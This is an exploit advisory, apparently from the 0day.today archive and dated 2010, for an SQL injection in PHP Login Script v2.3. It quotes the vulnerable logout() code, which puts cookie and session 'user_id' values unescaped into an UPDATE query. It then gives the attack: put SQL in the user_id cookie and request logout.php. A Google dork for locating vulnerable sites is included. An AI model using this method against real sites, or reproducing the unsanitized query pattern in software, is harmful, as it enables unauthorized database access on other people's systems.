PHP Login Script v 2.3 SQL Injection vulnerability

==================================================
PHP Login Script v 2.3 SQL Injection vulnerability
==================================================

# Exploit Title: PHP Login Script v 2.3 SQL Injection vulnerability.
# Date: 23/7 2010
# Author: pimpim - [email protected]
# Software Link: http://php-login-script.com/php_login_v2.3.zip
# Version: 2.3
# Google dork : intext:"Powered by PHP Login Script"
# Platform / Tested on: Ubuntu Linux
# Category: webapps/0day
# Vulnerable code: 

dbc.php lines 245-249, function logout()
-----------------------
if(isset($_SESSION['user_id']) || isset($_COOKIE['user_id'])) {
mysql_query("update `users` 
			set `ckey`= '', `ctime`= '' 
			where `id`='$_SESSION[user_id]' OR  `id` = '$_COOKIE[user_id]'") or die(mysql_error());
}
-----------------------

logout.php
-----------------------
<?php
include 'dbc.php';
logout();
?> 
-----------------------

Set cookie to "user_id='[SQL]", and go to http://site.com/logout.php



#  0day.today [2018-03-12]  #